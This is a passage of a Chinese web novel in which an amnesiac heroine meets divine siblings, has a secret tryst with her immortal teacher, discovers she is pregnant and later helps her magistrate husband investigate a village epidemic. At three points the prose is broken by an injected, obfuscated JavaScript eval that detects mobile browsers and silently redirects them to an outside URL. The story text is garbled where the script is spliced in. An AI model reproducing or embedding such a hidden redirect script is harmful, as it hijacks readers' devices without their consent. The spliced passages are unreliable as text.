我心中震惊,下意识地后退了一步:“你们……到底是谁?” 方大仙缓缓开口,语气温和却不容置疑。 “我是来消除你的梦境。” 果然是这样。 从他说人生大事起,我便有不详的预感。 我咬了咬唇,心中涌起一股不甘。 “可那些梦……对我来说很重要。我不想忘记。” 冷峻男冷哼一声。 “固执。那梦境只会让你痛苦,何必执着?” 仙女姐姐轻轻叹了口气,扶了扶我的头顶。 “你若真的不愿意,我们也不会勉强你。但……终究是为了你好。” 我低下头,不作回应。 方大仙见我不语,缓缓起身,走到我面前。 “有些记忆,不必记得。” 我握紧发簪,指尖微微颤抖。 “可……对我来说,这或许是唯一的线索。我不想忘记,也不想放弃。” 方大仙沉默片刻,而后微微一笑。 变脸技艺太好,我差点没反应过来。 “做个交换吧。告诉你他们仨是谁,和不消除你的记忆,选一个吧。” 这是什么不对等的选项,他们仨是谁,竟然能和消除记忆做对等? 方大仙见我选择了后者,随即笑意更深,仿佛早已料到我的选择。他轻轻挥了挥衣袖,袖中飘出一缕淡淡的青烟,缭绕在我周身。吸入鼻腔略有刺鼻,但还在接受范围内。 片刻后,他点了点头,道:“既然你选择了保留记忆,那便如你所愿。” 我心中松了一口气,虽然对那三人的身份依旧好奇,但比起失去记忆,这点好奇心倒也算不得什么。然而,当我转头看向那三人时,却见他们脸色惨白,仿佛被雷劈中一般,眼中满是绝望与不可置信。 冷峻哥颤抖着指着我,声音沙哑:“你……你竟然选择了保留记忆?你知不知道这意味着什么?” 我被他这反应弄得有些莫名其妙。 “这意味着我不用忘记今天的事,有什么问题吗?” 仙女姐姐摇头道:“问题大了……你选择了保留记忆,就意味着我们三个的身份将永远成为你的秘密,而你……也将成为我们的‘劫’。” “劫?” 我听得一头雾水。 方大仙此时插话道:“不错,他们三个乃是天界的‘三劫星君’,掌管人间劫难。他们的身份若是被凡人知晓,便会引发天机泄露,导致劫难失控。而你选择了保留记忆,便意味着他们的身份将永远与你绑定,你将成为他们的‘劫主’。” 我听得目瞪口呆,万万没想到自己随手一个选择,竟然牵扯出这么大的因果。难怪那三人面如死灰,原来是因为我无意间成了他们的“劫主”! “那……那我现在反悔还来得及吗?”我弱弱地问道。 方大仙笑着摇了摇头。 “选择已定,因果已成,反悔也无用。不过你也不必太过担忧,成为‘劫主’未必是坏事。至少,你今后若是遇到什么麻烦,他们三个可得尽心尽力帮你化解劫难。” 那三人闻言,脸色更加难看,却也只能无奈点头。 秀气哥对我拱手道:“今后若有困难,唤我们便是。” 我干笑两声。 这算什么?莫名其妙就得了三个神仙的“护佑”?虽然听起来挺威风,但总觉得哪里不对劲。 方大仙见我一脸纠结,拍了拍我的肩膀。 “缘分天定,既然你与他们有此因果,便顺其自然吧。” “哈——好、吧。” 我苦笑一声。无法判定是好是坏。 “至此,该回去了。” 方大仙起身。三人仍旧一副不舍的样子,委屈的眼神看向我。 我是不是该说什么话安慰安慰? “咳咳,那啥。”我抿了抿唇,“我就住在信州府,以后,可以来找我玩。” “真的吗!” 仙女姐姐突然丢了她的高冷,抓起我的手两眼放光。 冷峻哥也抬手掩面,但掩不住嘴角的笑意。 “你说的,不许反悔。” 我笑着点头,拍着胸脯保证。 仙女姐姐垂着眼,微带笑意,用一种近乎怜悯的姿态低头看我。忽然眼里泛着泪光,被我察觉后忽地拥住我,不许我看她的表情。似是莲花的香气萦绕,安心的气息让人忍不住深吸一口。 “风啊……”她忽然唤我,鼻子抽了抽,“我……我是姐姐啊。” 我怔愣在原地,不明白她的意思。 她稍稍起身,脸上挂着不适合这张脸的两行泪水,捧起我的脸,指腹描摹我的眉眼。 “姐姐好想你啊。” “姐……姐?” 脑海中一片空白,仿佛有什么东西在深处蠢蠢欲动,却又抓不住。莲花的香气愈发浓郁,仿佛将我包裹在一片柔软的梦境中。 “你……是我姐姐?”我喃喃重复着,声音有些颤抖。 她轻轻点头,眼中泪光闪烁。 “你真的……不记得我了吗?我是东姐姐啊。” 我努力在记忆中搜寻,却只觉得头痛欲裂,有什么屏障挡在那里,让我无法触及真相。 我摇了摇头,有些无力地说道:“抱歉……我不记得了。可你不是仙……” 在医鹿山的时候,我隐约猜到过自己不是平凡百姓。那些奇怪的过往、偶尔浮现的模糊记忆……但我从未确认过。 我默默看向方大仙,喉咙有些发紧,声音也低了几分:“您真的是……我爹?” 方大仙没有立刻回答,只是静静地看着我。 冷峻哥抓着姐姐的肩膀,把她丢到一边,然后二话不说紧紧拥住我,将我按进怀里。 “所以… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西雨轻柔的低语:“风……这次一定要平安回家啊。” 我闭上眼睛,心中涌起一股莫名的悲伤。那些梦境,那些模糊的记忆,终究还是离我而去了。就连刚才发生的所有都尽数消失。 溪水依旧潺潺,凉亭中只剩下我,静静地躺在冰冷的石板上,望着凉亭斜方的风铃。青烟的味道消散,可闻到山间的清新。 心口似乎多出一处空洞,发簪也一同消失了。 我想不明白,也没再深究,沉心静气,抬脚走向溪水下端等我的车夫。 我问起车夫,我为什么到这儿来。他起先很诧异,随后笑着回答我,说今日天气好,所以来这儿看看。 是吗……我今天怎么这么好兴致……明明才婚事的第二天…… 是啊,明明才婚事的第二天,颜卿居然就忙得不可开交。 蓬莱仙岛,云雾缭绕,仙气袅袅。金色的花海在微风中轻轻摇曳,花瓣如雨般飘落,洒在四人的肩头。这片花海仿佛没有尽头,一直延伸到天际,与云霞融为一体。 “小妹啊……她真的还活着……” 东婝抬手拭去眼角的泪,掌心似乎还有方才留下的温度和小妹的气息。 西雨从怀里拿出那支青竹发簪,紧紧护在胸口。 “爹,何必做到这地步呢。你明知她总会记起的。” 方大仙自然晓得,抹去了无数回关于那个人的记忆,可她总会记起。怎么会无法彻底抹去,恐怕法力再高深的无上天君也想不明白。 雾气蔼蔼,萤火漫天,从南岸吹来的风拂过仙人的羽衣,蜉蝣于天地,消无声息。 “必要时,我会把她带回来。这天地间,总有她的归属。” 方大仙喃喃自语着,话里波澜不惊。 北雷看向父亲,眉头微蹙。 “可您知道的,带回来,那真就再也见不到她了。起死回生之术不过救回了一律魂魄,若不重走九段过往,九段梦境,小妹她……” “我知道。” 方大仙轻叹一般道出后,望向海岸边的礁石,好似那抹身影从未离开过。 “我只是不想她这一次,还是选择同样的路。我不能再眼睁睁看着她又踏上同一条路。” 那条通往西洲岛,通往旷野的路。无论人神,皆是死路的旷野。 雾气掩去礁石的影子,星河倒灌,紧闭的院子里,药草不如杂草茂盛。光暗之间,妆台上的发簪已然失去原有的光泽。 她,离开得太久了。 “不过,你们仨打赌输了。别忘了赌约,敢偷懒就罚你们紧闭。” “唉,小妹啊小妹,你可把哥哥姐姐们害惨咯。” “还以为她会想知道我们是谁呢……小时候那么可爱跟在我们身后的南风去哪了……” “不过我好开心,她说以后我可以去信州找她玩~” “别了吧。否则又学上次给她惹恼了,我看你怎么收场。” 39. 皓月清风 早膳过后,趁所有人忙碌之际,我将卧室里里外外仔仔细细翻了遍。 昨日不知为何心血来潮去了趟山阴凉亭,回来后才想起找闻笙送我的发簪。 凉亭应该是没有的,因为走之前我忘了眼,什么都没有。马车上……如果有,车夫会给我送来。 说不定是我记差了,其实发簪不曾同我出门。 给自己定了定心,我开始着手翻找,任何角落都不放过。 我趴在地上,手指在床底下来回摸索。屋子会有人隔三差五地清扫,好在没有摸出一手黑。 枕头床铺都翻了个面,就是没有。 奇了怪了。 又不是神器时期的发簪,怎么能平白无故消失呢。 想到这儿,我忽然担心起步摇也不见了,赶紧给头摸了个遍。 “呼——还在。” 耳边忽然传来轻微的脚步声,瞥见门口是一抹深色的影子,以为是颜卿,便头也不抬地继续找。 “特地等了一会儿才进门,发簪找到了吗?” 一道低沉的声音从身后传来,语气中带着几分戏谑。 我愣了一下,这声音……感觉不太对呢。 但没多想,顺着他的话回答。 “我忘记放哪儿去了,首饰盒床底下都找不到。” “很贵重吗?要不要我派人再去凉亭找找?” 他走到我身后,语气清淡。 我朝身后之人摆了摆手。 “太兴师动众了。应该是被我睡迷糊放哪了吧。没事儿,一般找不到的东西,等不想找了,它自己就出来了。” 我撑着膝盖起身,拍了拍裙摆上的灰尘。 “唉,我还挺喜欢那支青竹发簪的。” “既然喜欢,都不知道好生保管。” 头顶之人温柔地呵斥,我拍着衣袖上的灰尘笑着回应他。 “唔,颜大人教训的是,我下次一定长记性——” 缓缓抬头,映入眼帘的是一袭深色长袍,衣摆绣着暗纹,显得沉稳而内敛。再往上看,熟悉的面容让我心头一紧,差点忘了该怎么说话。 “颜……砚清?!” 我瞪大了眼睛,声音有些发颤。嘴角开始微微抽动起来,哆嗦着小声询问。 “你……您怎么……” 柳砚清微微俯身,目光落在我凌乱的发间,抬手捻去发间的一缕绒毛,语气淡淡的。 “为师来看望下山的徒儿,有问题吗。” 他直起身,眼神依旧牢牢锁在我身上。 “上次跟着野男人回家,这次就直接嫁给别人了吗?” 他的声音陡然冷了下来,眼神如刀锋般锐利,直直刺入我的心底。 “不……我……我这是……” 我慌乱地想要解释,却被他冷冷打断。 “闭嘴。” 冰冷的手指捏住我的下巴,不由分说堵住我的嘴。 我下意识地屏住呼吸,心跳如鼓,脸颊不受控制地烧了起来。 这里是信州府啊!待会被人撞见怎么办啊! 待他稍稍离开一点,我貌似是石化了,半天做不出反应。 “让你闭嘴,不是让你别呼吸。”他垂下眼眸,抚摸我滚烫的脸颊,“脸涨得通红,病了?” 我吓得一激灵,赶紧看看门外,抬起手臂挡在脸前。 “我又不是因为这个脸红……” 我低声反驳,声音细如蚊呐,却被他听得一清二楚。 他微微挑眉,唇角勾起一抹意味深长的笑意,缓缓俯身贴近我的耳畔,将我的手臂压下。 “那是因为什么?” 温热的气息拂过耳畔,我浑身一颤,下意识地缩了缩脖颈,却被他一把钳住下巴。 “你说,我该如何罚你?” 我张了张嘴,却发现自己一个字也说不出来。他的眼神太过炽热,仿佛要将我整个人吞噬。我低下头,避开他的目光,心跳却愈发急促。 “不说话?”他轻轻捏了捏我,“那便由我来决定了。” 我猛地抬头,正对上他那双深邃的眼眸,心中顿时涌起一股不祥的预感。 还未等我反应过来,他已俯身而下,唇瓣轻轻覆上了我的。 那一瞬间,我的脑海中一片空白,唯有他的气息充斥在鼻间,温热而霸道。我想要推开他,却发现自己浑身无力,只能任由他肆意索取。 仙人的衣袖轻轻一挥,远处的门被关上。 窗外艳阳高照,信州府上下忙里忙外。有一只鸟在门外的矮树丛中欢叫,迎上另一只鸟时,啼声特别响亮。时不时跳到另一只的背上,踩弄它的翅膀。两只鸟儿不知休止地扑棱,又飞到另一处草丛中,继续嬉戏。啼声不止,却也引不来注意。偶尔有人察觉,也只当时鸟雀间的玩闹罢了。 霎时,烟滞,云停。 这间屋子似乎被世间遗忘,无人叨扰。 良久,他才缓缓松开我,揽着我的身体靠近他的怀里。 “你这么不听话,我是不是该把你带回医鹿山关起来?” 头顶的声音漫不经心说着骇人的话。 我眼神躲闪,扯了扯身上的被子。 “是你放我走的。” “那也不是让你下山三番五次跟男人回家。” “我——” 我无法反驳。也无力反驳。 我撑起脑袋忘了眼窗棂处透进来的光线,时间仿佛被静止一般,光线的角度没有丝毫变化。 “师尊为了罚我,还用法术静止了时间?” 他低头蹭了蹭我的发顶。 “这算是……惩罚吗?” 我嗤笑,攀上他的脖颈,唇瓣点上他的。 “不算。” 我猜,我的骨子里有一根重生前留下的贪欲之骨。 一面心怀愧疚,觉得对不起刚成婚的夫君。一面享受千里寻来的师尊编织的罪孽之网。 能想通为什么是找九个男人了。能得罪欺骗足足九个男人,从前的我,色欲上头,一定做得出来。 那么问题来了,我竟然没有意外怀孕?! 难道,神仙的法术可以避孕?!或者说,这世间的某个角落,藏着我的亲骨肉?! 想到这儿,我不禁笑出声来。 我的想象力是不是太强了。 吃过晚膳,我邀颜卿去散心。顺路来到信州河岸边的竹馆。竹馆自然载满了竹,各种各样的竹,竹林茂盛,一阵风来,吹得竹林沙沙作响。白日里,竹馆是书生子弟的学堂。此时悄无人声,唯有月光洒落。 我望向身边并肩而行的颜卿,挽上他垂下的手臂。 “对了颜卿,你以前……有没有送过我什么宝贵之物?” 他歪了歪头,思考了片刻。 “好像没有。有什么想要的吗,我送你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119093|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不是不是,我是担心如果丢了……” 毕竟闻笙送我的发簪,转眼就不见。不出意外的话,是找不回来了。 颜卿垂眸笑了笑。 “丢了也无妨。毕竟在我眼中,任何奇珍异宝都比不上你珍贵。” 我一面感叹颜卿撩人的情话说得越发顺口,一面后知后觉。 “等等,你的意思是……我真丢了什么?!” 颜卿没有说话,只是将视线投向了街市上的夜灯惶惶。灯火与缓缓降临的夜色一同铺在信州府里,河清海晏百姓安康…… “我从未离开过信州府,因为怕你某一日回来找不到我,找不到可以留宿的居所。” 他突然开口。我默默看向他的侧脸。 “于是八年间,我不断盼着你回来,护着一方平安,希望你再次归来时,这里的一切仍旧如你所愿。” 忽然,眉眼低垂。 “可不知为什么……我总怕这一切又是一场梦……又是你给我编造的幻影……” 苦笑之人对上我的视线。 “你这次回来,还会离开,对吗?” 我轻轻“嗯”了一声,又苦笑着不知从何说起。 “我得去找回遗忘的过去。至少……让我想起,我到底是谁。” 我的声音很轻很轻,也不知是说给颜卿,还是说给自己听。 “等你找到答案的那一天,还会回来吗?” 我遥遥望着河对岸楼台上的灯火,心中一片荒芜。 良久缓缓吐出三个字,我不知道。 重生前的我,正是太爱许下不能实现的诺言,所以换来了无辜之人孤苦漫长等待的岁月。 闻笙的五年,颜卿的八年,柳砚清的三百年。 凡人的寿命太短,不过几个五年几个八年。 若能有什么离别的方式,只当我死了,该多好。 可万一,换来不是有心之人的释然,而是一辈子的心结…… 世间安得双全法。想不通,寻不到。 我对人世间的情爱还是了解的太少,若能当个神仙,看遍人间百态,或许能明白些吧。 “颜卿。” 我轻声唤他。 “如果送你一件礼物,你想要什么?” 怕他有所顾虑,我又继续说道。 “尽管提,只要是我能满足的,哪怕是星星,我也给你。” “好啊。” 他答应得毫不犹豫。 我眨了眨眼。那只是我夸张点的说法,真要星星……我怎么摘下来。 “嗯?你刚才说要什么?” 我只好假装不晓得他在说什么。 颜卿笑了,攥紧我的手。 “以前对诗,用自己的名字为对方作诗。我作‘颜如卿月,素风漾开,似是仙人入梦中来’。你作‘楚歌四起,平野烟收,携手星辰归故土’。我问你为何意,你说,哪怕是到了荒漠尽头,也想摘下一颗天上的星星赠与我,这样,你不在了,还有星星陪在我身边。” 恰好,漆黑的夜中有颗星星闪烁。 他忽然俯下身,捧起我的脸,两额相抵。 “我可不可以,找你要一颗天上的星星?” 我抿唇笑了笑。 “星星可不会自己落下来。” 粗糙的指腹擦过我的嘴唇。 “那,我们一起去接她吧。” 40. 又是黄昏 清闲的日子,我打算练练字。随便写写画画,一来打发时间二来闲情逸致。 说不定,后人都来读我的作品,学堂里教授的文章是我写的,先生还会领着弟子们分析“楚大作家”描写某段话时的内心情感—— 想想就有意思。 第一周:楚风姜妍“初相逢” 恰逢颜卿休沐,我邀他随我去瓦肆听戏,虽然担心碰上那位姜姑娘,不过也没有听戏重要。 “听说今天是唱一出新戏。” 我拉着颜卿坐定,茶博士送来新进的绿茶。 不出意外,戏开场前,姜妍出现了。她环视了一圈,目光锁定我后心花怒放,信步朝我走来。 “颜大人和夫人来听戏呢。” 姜妍二话不说便在我身边坐下,隔着我和颜卿颔首行礼。 “许久不见。” 这句话是颜卿说的,我纳闷地看看他,对上他的视线后,又看向姜妍。 “你们认识?” 姜妍窃喜,颜卿替她解释。 “八年前,你非要介绍我认识的好友。” “……” 我眨了眨眼,再次看向姜妍。 她生得眉清目秀,就是肩膀魁梧了些,容貌是女儿之态,行为举止倒英气十足。 我半天没回过神来。 “所以那天你……不是来找我转交生辰八字的?” “废话。”她撑着脑袋,笑盈盈地看着我,“是来确定我是不是看到鬼了。” 忽然想起那日她趁机附上我的脉搏,原来如此。 “那你怎么不早说?我还误会你了。” “对一个失忆之人有什么好说的。说不成,你还当我是骗子。只好演一出戏咯。” 难怪我见她有种相见恨晚的感觉。 戏子登台,今日讲的是“姮娥奔月”。 云母屏风烛影深,长河渐落晓星沉。嫦娥应悔偷灵药,碧海青天夜夜心。 柳砚清平日里最爱读前朝的诗,此诗我曾在书中见过。 烛光残影,长河斜落,晨星隐没。 碧海青天,夜复一夜煎熬着孤寂的心。 我忽然幻想自己坐在碧海之畔的礁石上,看着人间的生离死别,是会感慨人生有尽头便有盼头,还是寂寥于心苦叹寿命短暂。 少顷,我看向身旁的颜卿。 八年,人生短暂,能有几个八年。 梦中那句“莫要负了真心”,不是我的真心,是颜卿的。所以,我是来圆他与我成亲的梦吗。然后,又离开他。 我咬紧嘴唇,收回视线。 好像,还是错了。 第二周:桂花游仙境遇孩童 一天夜里,桂花做了一个梦。梦中,她恍惚看到有一三岁孩童走来,向她伸手,示意想要一串糖葫芦。 桂花向来喜欢小孩,于是便牵着他的小手去了,街市买了一串巨大的糖葫芦给他。 举着比自己还高的糖葫芦,小孩却笑不出来,沮丧着脸,险些要哭,桂花连忙又买了一串。 “现在有两串糖葫芦了,乖,不哭。” 果然,小孩高兴地笑起来,抓着桂花的指尖,想领她去一个地方。 恍恍惚惚,桂花跟着小孩来到了一处幻境。这里绿树清溪,朱栏白石,桂花以为自己到了仙境,满心欢喜。 又走了几步,桂花随着小孩来到了一处白梅繁盛之地,远远的看见雪白的花树下站了一个可爱的小姑娘。 一看便知是小孩的妹妹。 两串糖葫芦俩孩子一人举着一串,高兴坏了。 桂花坐在地上,抱着双膝欣慰地看着他们。 “谢谢桂花姐姐!” “你们认识我?” “嗯!”小姑娘抓住桂花的手指,“我认识你!但哥哥不认识。” 桂花看向哥哥,歪了歪头。 “可哥哥刚才还领我来处啊。” 小姑娘摇了摇头。 “是我告诉哥哥,让他带你来的。” 桂花上下打量乖乖站在一旁的哥哥,从见到他起就没有听到他说话,难道是有哑疾? 只是心想,哥哥像是听到了一般点头回应。 “哥哥不会说话,但能听到姐姐的心声。”小姑娘咬下一口糖葫芦,“哥哥可厉害了!和娘亲一样厉害!” “娘亲?”桂花轻蹙眉头,“娘亲是谁呀?” “不能说。”小姑娘擦着嘴角的糖屑,“不过我的爹爹可以告诉姐姐。” “啊?”桂花不解,“你的爹爹……?” 两个孩子默契地点头。 “我爹爹很厉害的!”她忽然大惊失色似的咬住手指,“忘记桂花姐姐认识爹爹了,嘿嘿。” “我认识?” 桂花不禁开始打量眼前的孩子,哥哥的话确有几分眼熟,但不多。妹妹的话……仔细看看很像谁和谁。 谁呢。自己认识她的爹爹…… “啊!”桂花突然叫出声,“我好像知道你爹爹是谁了!” 桂花梦中惊醒时,不禁大叫“赶快”,一路喊着冲到我的卧室。彼时颜卿早上班去了,留我还在睡梦中。 “夫人!我做梦了!” 她坐在床沿生生把我摇醒。看到她笑嘻嘻地来,也不好苦皱着脸打发,只好拍了拍床沿让她坐。 最近不知为何老是犯困,根本提不起精神。 我趴在被窝里,敷衍地哼了声。 “我梦见大人和夫人的孩子了!一男一女,长得特可爱!” “嗯——恭喜。” “是恭喜夫人啊!”她一面回忆梦中的场景,一面感慨,“那姑娘简直就是大人和夫人的亲女儿!” 我有气无力地笑了声,“你都说是我孩子了,还能不像吗。” “也是。”说错了话也不尴尬,桂花反而笑得更开心,“我觉得这梦来得正是时候!说不定,夫人您有身孕了呢。” 我闷哼着转了个身,困到不能自己。 “嗯,我再睡会,不用叫我起来用膳。” “行,那夫人好好休息,我晚点来看您。” 第三周:…… 困了一周,不知道写点什么好。 那就:七日无事,夏蝉鸣叫,卧床休憩时只觉吵闹。 听说乡下有人喜欢吃蝉,不晓得能不能把信州府的蝉都给吃了。 第四周:笔都要握不住了…… 继犯困之后胃病来袭。一定是夏日炎炎食物容易变质,我又热茶冷食换着吃,才酿成如此局面。 从没觉得茅厕离卧室那么远,跑慢一点,都要……还是被说了,又要吐了。 颜卿进京述职已有一月,不晓得好久回来。每到一处会寄一封信回来保平安,信尾必定是那句“很快回来”。 第五周:百安大夫论病穷源 最近反胃的情况越发严重。 又怕病情反反复复,颜卿回来见状担心,更担心李叔将此事告知颜卿,他心一急不好好工作。 于是,我悄悄背着桂花和李叔去了趟百安堂,信州府最靠谱的医馆,早治疗早健康。 大夫摸了摸我的脉搏,平静的脸上忽然浮出笑。 “恭喜夫人。” “恭喜?” 我生场病难受得要死,他竟然跟我道喜?我是不是找错地方了,不是百安堂,该去找千安堂? “恭喜大人和夫人有喜了。” 我原地僵住。 “夫人不是脾胃不适,是怀有身孕时孕吐。这是正常反应,夫人不必担心。注意营养摄入,吐得难受也要吃东西啊。也有安胎的方子,如——” 我忙打住他。 “怀……你是说我肚子里……” “是的。”大夫温和地说,满脸慈爱,“恭喜夫人怀有身孕,看样子,该有五六周了。” 五六周?一个多月前?六月下旬? 离开百安堂,我选了回信州府相反的方向,去了竹馆。 那晚,竹馆。那天,柳砚清。 所以……腹中孩子,是谁的? 不敢想此事有多荒谬。甚至庆幸起柳砚清和颜卿有几分相像。 我咬住嘴唇,掌心覆上平坦的肚子。 “我该拿你怎么办……” 第六周:姜妍戏说楚腹中孩 天花粉、麝香、藏红花、桃仁、莪术、三棱、斑蝥、大戟、巴豆…… 学医以来,恐怕是我第一次如此钻研一剂方子。 堕胎的药煮了一次又一次,难闻的涩味下吐得越发厉害。 纠结辗转了数日,我还是决定把孩子生下来。虽然他还不算个人,但…… 我做不到。 为了了解怀孕期间需要注意什么,我支开桂花,带上姜妍陪我去找信州最靠谱的妇科大夫。一个人终究不敢面对,家里人怕走漏风声,能依靠的只有姜妍了。 简单警告过大夫不许泄漏秘密后,大夫向我罗列了一整张纸的注意事项。 “太复杂了吧……我到底是怀孕了还是病入膏肓了?” “欸,别说不吉利的话。宝宝在肚子里是听得到的。” 这样说着,姜妍的掌心温柔地覆上我平坦的肚子。 “别听你娘乱讲话。要乖乖长大,平安出生呀。” “你怎么比我还上心?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119094|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我看着她喜笑盈盈,不禁打趣道。姜妍含笑看了我一眼。 “这不为了提前预定干妈的位置嘛。” “原来是别有用心。放心吧,一定是你。” 吃了茶,姜妍又陪我城中晃悠了几圈。一路上她都与我谈论着肚子里还有八个多月才会降生的孩子。 会是男孩儿还是女孩儿,取什么名字好;如果是两个孩子,会是双胞胎还是龙凤胎;怕冬天出生,要不要提前准备保暖的物资,怕孩子受不住;如果能在春节降生该多好,或者四月芳菲时…… 她挽着我的手臂,一边担心些有的没的,一边又按捺不住内心的澎湃。 “我听说是十月怀胎,你是几月怀上的?” 我扳着手指推算。 “六月底吧。估计明年四月生。” “四月?!”她舒了口气,“四月好啊,孟夏之月。若不就叫——” “四月?”我接过话头。 “什么四月啊。”她恼怒着摆摆手,气我打断她的思路,“就叫,颜月!” “还不如四月呢。” “颜四月不好听啊。你不喜欢月亮?那星星?颜星?颜星辰?” “颜星辰?纳入考虑范围。” “不是吧……” 明明是她自己取的,转眼露出不满意的表情。 “要是个女孩子,多不合适,一点不淑女。” “我觉得星辰挺好的。” 不管是柳星辰还是颜星辰。后半句没敢说出口罢了。 今日是颜卿归家之日,我匆匆同姜妍告别回府。 听闻他已经到了,正在书房整理,我迫不及待去寻他。 正要习惯性地推开颜卿的书房门,我的手一顿,霎时想起自己手上还拿着“孕妇保胎注意事项”。 还不能被颜卿知道,哪儿知道这孩子是谁的,千万不能暴露。 我将担心快速藏进袖子里,匆匆忙忙跑回卧室。 糟糕,忘了现在两个人住一间房了,我能藏哪儿呢。 “你回来了。” 温柔的声音从背后响起,我赶忙捏紧袖口,生怕东西从里面溜出来。 颜卿也听到我回家消息,赶来见我。 “你你你你忙完啦。” 许久不见,竟是这副展开。 他想上前拥住我,但看我神神秘秘的样子,不禁打量起来。 “你在找什么?袖子怎么了?” “啊?没什么。刚才沾到水打湿了,我给捂热乎些。” 干笑两声,我生怕漏馅,赶紧小跑到衣柜前,作势开始找衣服。 “穿哪件好呢……” 颜卿突然走到我身后,轻轻拥住我,头靠上我的肩头。我心里一惊,手忙脚乱地将那张“注意事项”塞进衣裳堆里。赶忙关上衣柜门,转身回拥住他,指尖微微发颤。 “怎么突然……” 所幸他并未察觉我的异样,只是将头埋得更深了些,温热的气息拂过我的耳畔。 “方才见你神色有异,还以为我不在的期间你受了什么委屈。” 我心中一暖,轻轻拍了拍他的背。 “好得很呢,出门逛街大家都热情招呼我呢。” 他抬起头,目光深邃,似要看进我心里。我避开他的视线,轻咳两声。 “后院新栽了些花,我带你去看看?” 他点了点头,牵起我的手,指尖的温度透过掌心传来。思绪纷乱如麻,我心虚地紧扣他的五指。 园中花木扶疏,微风拂过,带来阵阵清香。他走在我身侧,步履沉稳,偶尔侧首看我一眼,目光温柔似水。我心中却如压了一块巨石,既贪恋此刻的安宁,又担忧那未了的秘密终有一日会被揭开。 “你今日似乎心不在焉。”他忽然停下脚步,转身面对我,眉头微蹙。 “哪有,只是……只是有些累了。” 我别开视线,不敢看他。 他伸手抚上我的脸颊,指尖轻轻摩挲。 “若是累了,便回去歇息吧,莫要勉强。” 我点点头,又摇摇头。领着他在秋千上坐下,缓缓靠上他的肩头。 “好想你。” 他用脸颊蹭了蹭我。 “我也是。那天,我梦到你了。”他浅笑着,“梦到你坐在碧海边,捧着一颗星,说,要把那颗星星送给我。我看到你身边还有一枝白梅,便问你,那梅花可能一并赠与我?谁知,你突然哭了。” “哭了?” “嗯,一直哭。我问你为什么,你也只是摇头不肯说。” “……”我愣了半晌,噗嗤笑道,“好奇怪的梦。” 41. 一场消黯 颜卿正准备出门办案,我快步走上前,主动请缨:“能带上我吗?多一个人也能多一条办案思路。” 颜卿转头看向我,眼中闪过一丝惊讶,随即露出温和的笑容:“你愿意帮忙,自然是再好不过。只是你病刚好,还是多休息。” “哎呀,胃病而已嘛。”我摇晃他的手臂,“这案子你愁了好几日,我想替你分担分担嘛。” 颜卿闻言,眼中笑意更深。 “那,上车吧。” 此次颜卿进京述职,本来是要下一周才能到信州,不知为何马不停蹄地连夜赶回来。据说是信州一村子闹病,惊动了宫里的人,所以丝毫不敢懈怠。我看他最近几天都没有好好休息,心疼得厉害,或许能帮上点忙。 好说歹说,咱也是医鹿山下来的嘛。派不上用场,呼喊大名鼎鼎的柳仙人还是一句话的事儿。 我们一同上了马车,朝村子驶去。路上,颜卿向我详细说明了村里目前的情况。 “确定病症的源头是井里的水吗?” 颜卿点头。 “唐大夫检查过,应该是的。不过……” 难得见他唉声叹气。 “近日不知何故,宫中遣人前来,声称此症已蔓延至其他路府,恐是疫疠,特命我详加查察。” “瘟疫?”我更是不解,“若真是瘟疫,信州府早乱了。他们是来找茬的吧。” 面对我的愤愤不平,颜卿也只是笑笑。我也知道,就算是找茬,他身为一方知县还敢逆反不成。 沉吟片刻,他忽然说:“若是能请到医鹿山的仙长帮忙诊治,此案就简单多了。” 我干笑了两声,搪塞过去。 就这么静静坐了一会儿,忽生一种幽香。循着香,我撩开车帘,骄阳似火,却挡不住荷塘的生机。碧绿荷叶如伞倾盖,层层叠叠。粉白荷花含苞待放,羞怯如少女。远处传来几声蝉鸣,悠长而慵懒,与近处荷叶摩擦的沙沙声交织在一起。 八月,距离我的星星还有八个月。 抵达村口,颜卿搀扶着我走下马车。想着最近吐得不算厉害才敢出门,没料刚下车,只是闻到了村口井里发出的味道,胃里一阵恶心,我一个箭步冲到田边吐出来。 “我就说让你好生休息吧。” 颜卿顺着我的背,唤人舀一勺温热干净的水来。我捧着半劈开的葫芦,暖水下肚缓了口气儿。 “颜大人出门办案还把夫人带上?” 闻言,我和颜卿一起抬头望向走来的人。深紫色官服,高人一等,傲视凡俗。他应该就是颜卿说的,从宫里来的人,吴盼秩。 听他说话的语气,信州办案的这些天一定没少给颜卿找茬子。 颜卿也一副习以为常的样子,浅笑着扶起我,还好心解释。 “夫人关心村民的身体,所以来看看。” “关心?”吴盼秩扯着一边嘴角打量我,“来添乱的吧。别染上疫疠,回去把整个信州府都染上。” “呵。” 我冷笑了声,拨开颜卿欲要阻拦的手。 “吴大人若是知道我什么来头,可就后悔说刚才的话了。” “哦?夫人什么来头?” 他一脸等着看我笑话的嘴脸,我更来气了,仰脸笑道:“从医鹿山来,柳砚清,我师尊。” 